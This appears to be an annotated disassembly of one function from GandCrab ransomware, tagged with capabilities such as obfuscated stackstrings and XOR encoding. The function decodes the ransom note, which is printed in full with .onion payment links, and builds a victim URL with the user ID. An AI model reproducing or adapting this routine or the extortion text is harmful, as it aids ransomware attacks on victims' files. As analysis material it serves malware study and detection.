Function at 0x4040a0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xe8
cmp dword [str.____GANDCRAB_____r_n_r_nAttention__r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files._r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:_r_n1._Download_Tor_browser___https:__www.torproject.org__r_n2._Install_Tor_browser_r_n3._Open_Tor_Browser_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_93186d4080a15abb___________________________r_n5._Follow_the_instructions_on_this_page_r_n_r_n_r_nIf_Tor_Tor_browser_is_locked_in_your_country_or_you_can_not_install_it__open_one_of_the_following_links_in_your_regular_browser:_r_n1._http:__gdcbghvjyqy7jclk.onion.top_93186d4080a15abb___________________r_n2._http:__gdcbghvjyqy7jclk.onion.casa_93186d4080a15abb__________________r_n3._http:__gdcbghvjyqy7jclk.onion.guide_93186d4080a15abb____________________r_n4._http:__gdcbghvjyqy7jclk.onion.rip_93186d4080a15abb__________________________________________________r_n5._http:__gdcbghvjyqy7jclk.onion.plus_93186d4080a15abb________________________________r_n_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free._r_n_r_nDANGEROUS__r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever__r_n], 0
push esi
push edi
jne 0x40431c
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [esp + 0xb8]
call fcn.004039b0
lea ecx, [esp + 0x60]
call fcn.00406d90
lea ecx, [esp + 0x60]
call fcn.00406ba0
mov esi, eax
push 0x40
push 0x3000
lea edi, [esi*2 + 0x42]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x5c], eax
test eax, eax
je 0x404128
lea ecx, [esi*2 + 0x40]
cmp ecx, edi
jae 0x404128
mov esi, eax
jmp 0x40412a
xor esi, esi
push esi
lea ecx, [esp + 0x64]
call fcn.004069a0
mov edx, str.ransom_id
mov ecx, esi
call fcn.00407ba0
push str.ransom_id
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movdqa xmm1, xmmword [0x410940]
mov ecx, str.____GANDCRAB_____r_n_r_nAttention__r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files._r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:_r_n1._Download_Tor_browser___https:__www.torproject.org__r_n2._Install_Tor_browser_r_n3._Open_Tor_Browser_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_93186d4080a15abb___________________________r_n5._Follow_the_instructions_on_this_page_r_n_r_n_r_nIf_Tor_Tor_browser_is_locked_in_your_country_or_you_can_not_install_it__open_one_of_the_following_links_in_your_regular_browser:_r_n1._http:__gdcbghvjyqy7jclk.onion.top_93186d4080a15abb___________________r_n2._http:__gdcbghvjyqy7jclk.onion.casa_93186d4080a15abb__________________r_n3._http:__gdcbghvjyqy7jclk.onion.guide_93186d4080a15abb____________________r_n4._http:__gdcbghvjyqy7jclk.onion.rip_93186d4080a15abb__________________________________________________r_n5._http:__gdcbghvjyqy7jclk.onion.plus_93186d4080a15abb________________________________r_n_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free._r_n_r_nDANGEROUS__r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever__r_n
mov edx, 0xad
lea esi, [esi + eax*2]
mov eax, 0xad0
mov dword [esp + 0xc], esi
jmp 0x404170
lea ecx, [ecx + 0x10]
movdqu xmm0, xmmword [ecx - 0x10]
pxor xmm0, xmm1
movdqu xmmword [ecx - 0x10], xmm0
dec edx
jne 0x404170
jmp 0x404190
xor byte [eax + str.____GANDCRAB_____r_n_r_nAttention__r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files._r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:_r_n1._Download_Tor_browser___https:__www.torproject.org__r_n2._Install_Tor_browser_r_n3._Open_Tor_Browser_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_93186d4080a15abb___________________________r_n5._Follow_the_instructions_on_this_page_r_n_r_n_r_nIf_Tor_Tor_browser_is_locked_in_your_country_or_you_can_not_install_it__open_one_of_the_following_links_in_your_regular_browser:_r_n1._http:__gdcbghvjyqy7jclk.onion.top_93186d4080a15abb___________________r_n2._http:__gdcbghvjyqy7jclk.onion.casa_93186d4080a15abb__________________r_n3._http:__gdcbghvjyqy7jclk.onion.guide_93186d4080a15abb____________________r_n4._http:__gdcbghvjyqy7jclk.onion.rip_93186d4080a15abb__________________________________________________r_n5._http:__gdcbghvjyqy7jclk.onion.plus_93186d4080a15abb________________________________r_n_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free._r_n_r_nDANGEROUS__r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever__r_n], 5
inc eax
cmp eax, 0xad6
jb 0x404190
mov edx, str.USERID
mov dword [str.____GANDCRAB_____r_n_r_nAttention__r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files._r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:_r_n1._Download_Tor_browser___https:__www.torproject.org__r_n2._Install_Tor_browser_r_n3._Open_Tor_Browser_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_93186d4080a15abb___________________________r_n5._Follow_the_instructions_on_this_page_r_n_r_n_r_nIf_Tor_Tor_browser_is_locked_in_your_country_or_you_can_not_install_it__open_one_of_the_following_links_in_your_regular_browser:_r_n1._http:__gdcbghvjyqy7jclk.onion.top_93186d4080a15abb___________________r_n2._http:__gdcbghvjyqy7jclk.onion.casa_93186d4080a15abb__________________r_n3._http:__gdcbghvjyqy7jclk.onion.guide_93186d4080a15abb____________________r_n4._http:__gdcbghvjyqy7jclk.onion.rip_93186d4080a15abb__________________________________________________r_n5._http:__gdcbghvjyqy7jclk.onion.plus_93186d4080a15abb________________________________r_n_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free._r_n_r_nDANGEROUS__r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever__r_n], 0x412000
mov ecx, str.____GANDCRAB_____r_n_r_nAttention__r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files._r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:_r_n1._Download_Tor_browser___https:__www.torproject.org__r_n2._Install_Tor_browser_r_n3._Open_Tor_Browser_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_93186d4080a15abb___________________________r_n5._Follow_the_instructions_on_this_page_r_n_r_n_r_nIf_Tor_Tor_browser_is_locked_in_your_country_or_you_can_not_install_it__open_one_of_the_following_links_in_your_regular_browser:_r_n1._http:__gdcbghvjyqy7jclk.onion.top_93186d4080a15abb___________________r_n2._http:__gdcbghvjyqy7jclk.onion.casa_93186d4080a15abb__________________r_n3._http:__gdcbghvjyqy7jclk.onion.guide_93186d4080a15abb____________________r_n4._http:__gdcbghvjyqy7jclk.onion.rip_93186d4080a15abb__________________________________________________r_n5._http:__gdcbghvjyqy7jclk.onion.plus_93186d4080a15abb________________________________r_n_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free._r_n_r_nDANGEROUS__r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever__r_n
call fcn.00407ba0
mov edi, eax
test edi, edi
je 0x40423a
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, 0x20
mov word [edi + eax*2], cx
mov edi, str.____GANDCRAB_____r_n_r_nAttention__r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files._r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:_r_n1._Download_Tor_browser___https:__www.torproject.org__r_n2._Install_Tor_browser_r_n3._Open_Tor_Browser_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_93186d4080a15abb___________________________r_n5._Follow_the_instructions_on_this_page_r_n_r_n_r_nIf_Tor_Tor_browser_is_locked_in_your_country_or_you_can_not_install_it__open_one_of_the_following_links_in_your_regular_browser:_r_n1._http:__gdcbghvjyqy7jclk.onion.top_93186d4080a15abb___________________r_n2._http:__gdcbghvjyqy7jclk.onion.casa_93186d4080a15abb__________________r_n3._http:__gdcbghvjyqy7jclk.onion.guide_93186d4080a15abb____________________r_n4._http:__gdcbghvjyqy7jclk.onion.rip_93186d4080a15abb__________________________________________________r_n5._http:__gdcbghvjyqy7jclk.onion.plus_93186d4080a15abb________________________________r_n_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free._r_n_r_nDANGEROUS__r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever__r_n
mov ax, word [str.____GANDCRAB_____r_n_r_nAttention__r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files._r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:_r_n1._Download_Tor_browser___https:__www.torproject.org__r_n2._Install_Tor_browser_r_n3._Open_Tor_Browser_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_93186d4080a15abb___________________________r_n5._Follow_the_instructions_on_this_page_r_n_r_n_r_nIf_Tor_Tor_browser_is_locked_in_your_country_or_you_can_not_install_it__open_one_of_the_following_links_in_your_regular_browser:_r_n1._http:__gdcbghvjyqy7jclk.onion.top_93186d4080a15abb___________________r_n2._http:__gdcbghvjyqy7jclk.onion.casa_93186d4080a15abb__________________r_n3._http:__gdcbghvjyqy7jclk.onion.guide_93186d4080a15abb____________________r_n4._http:__gdcbghvjyqy7jclk.onion.rip_93186d4080a15abb__________________________________________________r_n5._http:__gdcbghvjyqy7jclk.onion.plus_93186d4080a15abb________________________________r_n_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free._r_n_r_nDANGEROUS__r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever__r_n]
test ax, ax
je 0x40423a
mov esi, edi
movzx ecx, ax
sub esi, str.USERID
mov eax, str.USERID
test cx, cx
je 0x404227
lea ecx, [ecx]
movzx ecx, word [eax]
test cx, cx
je 0x404322
movzx edx, word [esi + eax]
sub edx, ecx
jne 0x40421d
add eax, 2
cmp word [esi + eax], dx
jne 0x404200
cmp word [eax], 0
je 0x404322
movzx ecx, word [edi + 2]
add edi, 2
add esi, 2
test cx, cx
jne 0x4041f3
mov esi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 0x10], 0x740068
mov dword [esp + 0x14], 0x700074
mov dword [esp + 0x18], 0x2f003a
mov dword [esp + 0x1c], 0x67002f
mov dword [esp + 0x20], 0x630064
mov dword [esp + 0x24], 0x670062
mov dword [esp + 0x28], 0x760068
mov dword [esp + 0x2c], 0x79006a
mov dword [esp + 0x30], 0x790071
mov dword [esp + 0x34], 0x6a0037
mov dword [esp + 0x38], 0x6c0063
mov dword [esp + 0x3c], 0x2e006b
mov dword [esp + 0x40], 0x6e006f
mov dword [esp + 0x44], 0x6f0069
mov dword [esp + 0x48], 0x2e006e
mov dword [esp + 0x4c], 0x6f0074
mov dword [esp + 0x50], 0x2f0070
mov word [esp + 0x54], ax
cmp dword [0x412ae4], eax
jne 0x404302
push 4
push 0x3000
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x412ae4], eax
test eax, eax
je 0x404302
push esi
lea ecx, [esp + 0x14]
push ecx
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x8000
push 0
push dword [esp + 0x64]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [esp + 0x60]
call fcn.00407720
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
jmp 0x4041c0